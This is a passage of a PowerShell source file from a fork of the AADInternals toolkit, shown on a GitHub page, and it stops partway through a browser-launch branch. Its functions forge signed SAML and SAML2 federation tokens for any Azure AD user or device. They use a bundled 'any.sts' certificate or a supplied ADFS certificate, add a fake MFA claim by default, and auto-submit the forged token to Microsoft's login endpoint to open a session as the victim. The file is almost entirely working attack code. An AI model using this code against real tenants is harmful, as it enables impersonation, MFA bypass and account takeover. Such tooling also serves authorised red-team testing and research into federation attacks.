forked from Gerenios/AADInternals
-
Notifications
You must be signed in to change notification settings - Fork 0
/
FederatedIdentityTools.ps1
926 lines (753 loc) · 38.2 KB
/
FederatedIdentityTools.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
# any.sts public key
$any_sts="MIIDcTCCAligAwIBAgIBADANBgkqhkiG9w0BAQ0FADBSMQswCQYDVQQGEwJmaTESMBAGA1UECAwJUGlya2FubWFhMREwDwYDVQQKDAhHZXJlbmlvczEcMBoGA1UEAwwTaGFjay5vMzY1ZG9tYWluLm9yZzAeFw0xODAyMjExMzEyNDVaFw0yODAyMTkxMzEyNDVaMFIxCzAJBgNVBAYTAmZpMRIwEAYDVQQIDAlQaXJrYW5tYWExETAPBgNVBAoMCEdlcmVuaW9zMRwwGgYDVQQDDBNoYWNrLm8zNjVkb21haW4ub3JnMIIBIzANBgkqhkiG9w0BAQEFAAOCARAAMIIBCwKCAQIApH73Hcv30uHHve6Zd3E/aEeFgQRMZD/CJUQC2DfSk0mDX8X75MIo7gP+62ZTUsOxhSDdOOVYshK8Kyk9VZvo21A5hDcCudXxc/eifCdwGLalCaOQt8pdMlYJgsBDcieMNToCx2pXp1PvkJdKc2JiXQCIAolJySbNXGJbBG1Oh4tty7lEXUqHpHgqiIJCb64q64BIQpZr/WQG0QgtH/gwWYz7b/psNA4xVi8RJnRUl7I62+j0WVSTih2j3kK20j5OIW9Rk+5XoHJ5npOBM84pYJ6yxMz1sOdSqOccAjSVHWFKdM437PxAPeiXAXoBKczGZ72Q8ocz2YSLGKcSMnYCrhECAwEAAaNQME4wHQYDVR0OBBYEFNu32o5XSIQ0lvwB+d2cnTlrtk2PMB8GA1UdIwQYMBaAFNu32o5XSIQ0lvwB+d2cnTlrtk2PMAwGA1UdEwQFMAMBAf8wDQYJKoZIhvcNAQENBQADggECAHokwTra0dlyG5jj08TiHlx1pJFnqlejjpFXaItuk2jEBfO/fv1AJaETSR5vupFfDHA337oPiqWugxai1TIvJGKhZImNloMj8lyeZk/9/5Pt2X4N8r1JpAQzt+Ez3z7aNrAFxRjJ0Y+rDDcSItZ5vaXJ5PqBvR7icjIBaXrHVFUC6OZ2RkebbpajbIdt6U/P7ovg7L1J6LAzL/asATZzM3Mjn+9rsC9xLbJwuEabLU+BxySsNo8TULYi9O2MSJ9FvddE6n3OPqrmldldCrb6OugK/pzCwjTnVgRtrHNJc+zKavbiu0Yfp8uYhvCCWAakdQ8g6ZNJ1TGSaYNIrpTIhXIJ"
# Creates a SAML token
# Updated Feb 19th to support device registration. Changed signature and digest to SHA256
function New-SAMLToken
{
<#
.SYNOPSIS
Creates a SAML token
.DESCRIPTION
Creates a valid SAML token for given user
.Parameter UPN
User Principal Name (UPN) of the user or device. For the user, this is not used by AAD Identity Federation so can be any email address.
For the device, this is the display name of the device.
.Parameter ImmutableID
Immutable ID of the user or device. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to federated user.
For device, this is automatically derived from the Device GUID parameter
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter ByPassMFA
Whether to add an attribute to by-pass MFA. Default is $True.
.Parameter DeviceGUID
The GUID of the device.
.Parameter SID
The SID of the device. If not given, a random SID is created.
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert = Load-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$saml = New-AADIntSAMLToken -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$saml = New-AADIntSAMLToken -UPN "My PC" -DeviceGUID (New-Guid) -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName ".\MyCert.pfx" -PfxPassword -Password "mypassword"
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$UPN="[email protected]", # Not used in AAD identity federation for users, defaults to Santa Claus ;)
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$ImmutableID,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$False)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$False)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='Certificate',Mandatory=$False)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[bool]$ByPassMFA=$true,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[GUID]$DeviceGUID,
[Parameter(Mandatory=$False)]
[string]$SID,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='DeviceUseAnySTS',Mandatory=$True)]
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='DeviceCertificate',Mandatory=$True)]
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$True)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='DeviceFileAndPassword',Mandatory=$False)]
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Begin
{
# Import the assemblies
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
}
Process
{
# If we got device guid, this is a device so use Device GUID as immutable id and create a new SID if needed
if($isDevice = $DeviceGUID -ne $null)
{
$ImmutableID = Convert-ByteArrayToB64 -Bytes $DeviceGUID.ToByteArray()
if([string]::IsNullOrEmpty($SID))
{
$SID = New-RandomSID
}
}
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the certificate
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
$Issuer = Get-ADFSIssuer -Certificate $Certificate -Issuer $Issuer
}
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create a new SAML assertion
$assertion = New-Object System.IdentityModel.Tokens.SamlAssertion
# Set id, time, and issuer
$assertion.AssertionId = "_$((New-Guid).ToString())"
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
$assertion.Issuer = $Issuer
# Create audience and SAML conditions objects
$audienceCondition = New-Object System.IdentityModel.Tokens.SamlAudienceRestrictionCondition -ArgumentList @(,[System.Uri[]]@(New-Object System.Uri("urn:federation:MicrosoftOnline")))
$SAMLConditionList = @($audienceCondition)
$SAMLConditions = New-Object System.IdentityModel.Tokens.SamlConditions($NotBefore, $NotAfter, [System.IdentityModel.Tokens.SamlAudienceRestrictionCondition[]]$SAMLConditionList)
$assertion.Conditions=$SAMLConditions
# Create subject and attribute statements
$subject = New-Object System.IdentityModel.Tokens.SamlSubject
$subject.ConfirmationMethods.Add("urn:oasis:names:tc:SAML:1.0:cm:bearer")
$statement = New-Object System.IdentityModel.Tokens.SamlAttributeStatement
# Note! Azure AD identity federation doesn't care about UPN at all, it can be anything.
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.xmlsoap.org/claims","UPN",[string[]]@($UPN))))
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/LiveID/Federation/2008/05","ImmutableID",[string[]]@($ImmutableID))))
if($ByPassMFA -and !$IsDevice)
{
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/claims","authnmethodsreferences",[string[]]@("http://schemas.microsoft.com/claims/multipleauthn"))))
}
# Default authentication method
$authenticationMethod = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
# Set the device specific attributes and methods
if($IsDevice)
{
$subject.Name = $ImmutableID
$subject.NameFormat = "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified"
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","accounttype",[string[]]@("DJ"))))
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/identity/claims","onpremobjectguid",[string[]]@($ImmutableID))))
$authenticationMethod = "urn:federation:authentication:windows"
}
if(![string]::IsNullOrEmpty($SID))
{
$statement.Attributes.Add((New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2008/06/identity/claims","primarysid",[string[]]@($SID))))
}
# Inside company network claim
[System.IdentityModel.Tokens.SamlAttribute]$attribute = New-Object System.IdentityModel.Tokens.SamlAttribute("http://schemas.microsoft.com/ws/2012/01","insidecorporatenetwork",[string[]]@("true"))
$attribute.OriginalIssuer = "CLIENT CONTEXT"
$statement.Attributes.Add($attribute)
$statement.SamlSubject = $subject
$assertion.Statements.Add($statement)
# Create authentication statement
$assertion.Statements.Add((New-Object System.IdentityModel.Tokens.SamlAuthenticationStatement($subject,$authenticationMethod, $NotBefore, $null, $null, $null)))
# Sign the assertion
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
# Create a SAML token
$token = New-Object System.IdentityModel.Tokens.SamlSecurityToken($assertion)
# Convert to XML
$handler = New-Object System.IdentityModel.Tokens.SamlSecurityTokenHandler
$writer = New-Object System.IO.StringWriter
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
$strToken=$writer.ToString()
return $strToken
}
}
# Creates a SAML token
# Updated Feb 19th: Changed signature and digest to SHA 256
function New-SAML2Token
{
<#
.SYNOPSIS
Creates a SAML token
.DESCRIPTION
Creates a valid SAML token for given user
.Parameter UPN
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
.Parameter ImmutableID
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to federated user.
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Example
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>New-AADIntSAML2Token -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UPN="[email protected]", # Not used in AAD identity federation, defaults to Santa Claus ;)
[Parameter(Mandatory=$True)]
[String]$ImmutableID,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(Mandatory=$False)]
[String]$Issuer,
[Parameter(Mandatory=$False)]
[String]$InResponseTo,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword
)
Process
{
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
$Issuer = Get-ADFSIssuer -Certificate $Certificate -Issuer $Issuer
}
if([String]::IsNullOrEmpty($InResponseTo))
{
$InResponseTo = "_$((New-Guid).ToString())";
}
# Import the assemblies
Add-Type -AssemblyName 'System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create a new SAML2 assertion
$identifier = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($Issuer)
$assertion = New-Object System.IdentityModel.Tokens.Saml2Assertion($identifier)
# Set id, time, and issuer
$assertion.Id = "_$((New-Guid).ToString())"
$assertion.IssueInstant = $NotBefore.ToUniversalTime()
# Create subject and related objects
$subject = New-Object System.IdentityModel.Tokens.Saml2Subject
$subject.NameId = New-Object System.IdentityModel.Tokens.Saml2NameIdentifier($ImmutableID)
$subject.NameId.Format = New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:nameid-format:persistent")
$confirmationData = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmationData
$confirmationData.InResponseTo = New-Object System.IdentityModel.Tokens.Saml2Id($InResponseTo)
$confirmationData.NotOnOrAfter = $NotAfter
$confirmationData.Recipient = New-Object System.uri("https://login.microsoftonline.com/login.srf")
$confirmation = New-Object System.IdentityModel.Tokens.Saml2SubjectConfirmation(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:cm:bearer"))#, $confirmationData)
$confirmation.SubjectConfirmationData = $confirmationData
$subject.SubjectConfirmations.Add($confirmation)
$assertion.Subject = $subject
# Create condition and audience objects
$conditions = New-Object System.IdentityModel.Tokens.Saml2Conditions
$conditions.NotBefore = $NotBefore
$conditions.NotOnOrAfter = $NotAfter
$conditions.AudienceRestrictions.Add((New-Object System.IdentityModel.Tokens.Saml2AudienceRestriction(New-Object System.Uri("urn:federation:MicrosoftOnline", [System.UriKind]::RelativeOrAbsolute))))
$assertion.Conditions = $conditions
# Add statements
$attrUPN = New-Object System.IdentityModel.Tokens.Saml2Attribute("IDPEmail",$UPN)
$statement = New-Object System.IdentityModel.Tokens.Saml2AttributeStatement
$statement.Attributes.Add($attrUPN)
$assertion.Statements.Add($statement)
$authenticationContext = New-Object System.IdentityModel.Tokens.Saml2AuthenticationContext(New-Object System.Uri("urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"))
$authenticationStatement = New-Object System.IdentityModel.Tokens.Saml2AuthenticationStatement($authenticationContext)
$authenticationStatement.AuthenticationInstant = $NotBefore
$authenticationStatement.SessionIndex = $assertion.Id.Value
$assertion.Statements.Add($authenticationStatement)
# Sign the assertion
$ski = New-Object System.IdentityModel.Tokens.SecurityKeyIdentifier((New-Object System.IdentityModel.Tokens.X509RawDataKeyIdentifierClause($Certificate)))
$assertion.SigningCredentials = New-Object System.IdentityModel.Tokens.SigningCredentials((New-Object System.IdentityModel.Tokens.X509AsymmetricSecurityKey($Certificate)), [System.IdentityModel.Tokens.SecurityAlgorithms]::RsaSha256Signature, [System.IdentityModel.Tokens.SecurityAlgorithms]::Sha256Digest, $ski )
# Create a SAML token
$token = New-Object System.IdentityModel.Tokens.Saml2SecurityToken($assertion)
# Convert to XML
$handler = New-Object System.IdentityModel.Tokens.Saml2SecurityTokenHandler
$writer = New-Object System.IO.StringWriter
$handler.WriteToken((New-Object System.Xml.XmlTextWriter($writer)), $token)
$strToken=$writer.ToString()
return $strToken
}
}
# Create WSFed response
function New-WSFedResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SAMLToken,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create the Request Security Token Response
$response=@"
<t:RequestSecurityTokenResponse xmlns:t="http://schemas.xmlsoap.org/ws/2005/02/trust">
<t:Lifetime>
<wsu:Created xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotBefore.toString("o"))</wsu:Created>
<wsu:Expires xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd">$($NotAfter.toString("o"))</wsu:Expires>
</t:Lifetime>
<wsp:AppliesTo xmlns:wsp="http://schemas.xmlsoap.org/ws/2004/09/policy">
<wsa:EndpointReference xmlns:wsa="http://www.w3.org/2005/08/addressing">
<wsa:Address>urn:federation:MicrosoftOnline</wsa:Address>
</wsa:EndpointReference>
</wsp:AppliesTo>
<t:RequestedSecurityToken>
$SAMLToken
</t:RequestedSecurityToken>
<t:TokenType>urn:oasis:names:tc:SAML:1.0:assertion</t:TokenType>
<t:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</t:RequestType>
<t:KeyType>http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey</t:KeyType>
</t:RequestSecurityTokenResponse>
"@
return $response
}
}
# Create SAML-P response
function New-SAMLPResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$SAML2Token,
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(Mandatory=$False)]
[String]$InResponseTo
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Create the Request Security Token Response
$response=@"
<samlp:Response ID="_$((New-Guid).ToString())" Version="2.0" IssueInstant="$($NotBefore.toString('s'))Z" Destination="https://login.microsoftonline.com/login.srf" Consent="urn:oasis:names:tc:SAML:2.0:consent:unspecified" InResponseTo="$InResponseTo" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<Issuer xmlns="urn:oasis:names:tc:SAML:2.0:assertion">$Issuer</Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</samlp:Status>
$SAML2Token
</samlp:Response>
"@
return $response
}
}
# Opens a web browser and logins as the given user
function Open-Office365Portal
{
<#
.SYNOPSIS
Opens a web browser and logins to Office 365 as the given user
.DESCRIPTION
Creates an identity federation token and opens a login form in private or incognito window.
.Parameter UPN
User Principal Name (UPN) of the user. Not used by AAD Identity Federation so can be any email address.
.Parameter ImmutableID
Immutable ID of the user. For synced users, this is user's AD object GUID encoded in B64.
For non-synced users this must be set manually, can be any unique string within the tenant.
User doesn't have to be federated user.
.Parameter Issuer
Issuer identification of Identity Provider (IdP). Usually this is a FQDN of the ADFS server, but can be any
unique string within Azure AD. Must match federation information of validated domain in the tenant.
.Parameter ByPassMFA
Whether to add an attribute to by-pass MFA. Default is $True.
.Parameter UseAnySTS
Uses internal any.sts certificate
.Parameter Certificate
A X509 certificate used to sign the SAML token. Must match federation information of validated domain in the tenant.
.Parameter PfxFileName
The full path to .pfx file from where to load the certificate
.Parameter PfxPassword
The password of the .pfx file
.Parameter UseBuiltInCertificate
Use the built-in any.sts certificate.
.Parameter Browser
Which browser to be used. Can be "IE", "Chrome", or "Edge". Defaults to "Edge"
.Example
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -PfxFileName "MyCert.pfx" -PfxPassword -Password "mypassword"
.Example
PS C:\>$cert=Get-AADIntCertificate -FileName "MyCert.pfx" -Password "mypassword"
PS C:\>Open-AADIntOffice365Portal -ImmutableId "Ah2J42BsPUOBoUcsCYn7vA==" -Issuer "http://mysts.company.com/adfs/ls" -Certificate $cert
.Example
PS C:\>$id=Get-AADIntImmutableID -ADUser (Get-ADUser firstname.lastname)
PS C:\>Open-AADIntOffice365Portal -ImmutableId $id -Issuer "http://mysts.company.com/adfs/ls" -UseBuiltInCertificate
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$UPN="[email protected]", # Not used in AAD identity federation, defaults to Santa Claus ;)
[Parameter(Mandatory=$True)]
[String]$ImmutableID,
[Parameter(Mandatory=$False)]
[bool]$ByPassMFA=$true,
[ValidateSet('WSFED','SAMLP')]
$TokenType="WSFED",
[Parameter(Mandatory=$False)]
[DateTime]$NotBefore,
[Parameter(Mandatory=$False)]
[DateTime]$NotAfter,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[switch]$UseBuiltInCertificate,
[Parameter(ParameterSetName='UseAnySTS',Mandatory=$True)]
[Parameter(Mandatory=$False)]
[String]$Issuer,
[Parameter(ParameterSetName='Certificate',Mandatory=$True)]
[System.Security.Cryptography.X509Certificates.X509Certificate2]$Certificate,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$True)]
[string]$PfxFileName,
[Parameter(ParameterSetName='FileAndPassword',Mandatory=$False)]
[string]$PfxPassword,
[ValidateSet('IE','Edge','Chrome')]
$Browser="Edge"
)
Process
{
# Check the dates
if([String]::IsNullOrEmpty($NotBefore))
{
$NotBefore = Get-Date
}
if([String]::IsNullOrEmpty($NotAfter))
{
$NotAfter = $NotBefore.AddHours(1)
}
# Do we use built-in certificate (any.sts)
if($UseBuiltInCertificate)
{
$Certificate = Load-Certificate -FileName "$PSScriptRoot\any_sts.pfx" -Password ""
}
elseif($Certificate -eq $null) # Load the ceftificate
{
try
{
$Certificate = Load-Certificate -FileName $PfxFileName -Password $PfxPassword
}
catch
{
$_
return
}
$Issuer = Get-ADFSIssuer -Certificate $Certificate -Issuer $Issuer
}
$form=""
if($TokenType -eq "WSFED")
{
# Create SAML token and WSFED response
$token=New-SAMLToken -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter -ByPassMFA $ByPassMFA
$wsfed=New-WSFedResponse -SAMLToken $token -NotBefore $NotBefore -NotAfter $NotAfter
# Create a login form
$form=@"
<html>
<head><title>AADInternals Office 365 login form</title></head>
<body onload="document.forms['login'].submit()">
<form action="https://login.microsoftonline.com/login.srf" method="post" name="login">
<input name="wa" type="hidden" value="wsignin1.0" />
<input name="wctx" type="hidden" value="" />
<input name="wresult" type="hidden" value="$([System.Net.WebUtility]::HtmlEncode($wsfed))">
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
<button type="submit">Login to Office 365</button> </form>
</body>
</html>
"@
}
else
{
# Create SAML2 token and SAMLP response
$token=New-SAML2Token -UPN $UPN -ImmutableID $ImmutableId -Issuer $Issuer -Certificate $Certificate -NotBefore $NotBefore -NotAfter $NotAfter
$samlp=New-SAMLPResponse -SAML2Token $token -NotBefore $NotBefore -NotAfter $NotAfter
# Create a login form
$form=@"
<html>
<head><title>AADInternals Office 365 login form</title></head>
<body onload="document.forms['login'].submit()">
<form action="https://login.microsoftonline.com/login.srf" method="post">
<input name="RelayState" value="" type="hidden"/>
<input name="SAMLResponse" value="$([Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($samlp)))" type="hidden"/>
To login automatically, the javascript needs to be enabled.. So just click the button! <br>
<button type="submit">Login to Office 365</button>
</form>
</body>
</html>
"@
}
# Create a temporary file
# TODO: remove the tmp file
$tmp = New-TemporaryFile
Rename-Item -Path $tmp.FullName -NewName ($tmp.Name+".html")
$html = ($tmp.FullName+".html")
# Write the form to the file
$form | Out-File $html
# Start the browser in private mode
if($Browser -eq "IE")
{
Start-Process iexplore.exe -ArgumentList "-private $("file:///$html")"
}
elseif($Browser -eq "Chrome")
{
Start-Process chrome.exe -ArgumentList "-incognito $("file:///$html")"
}
else
{
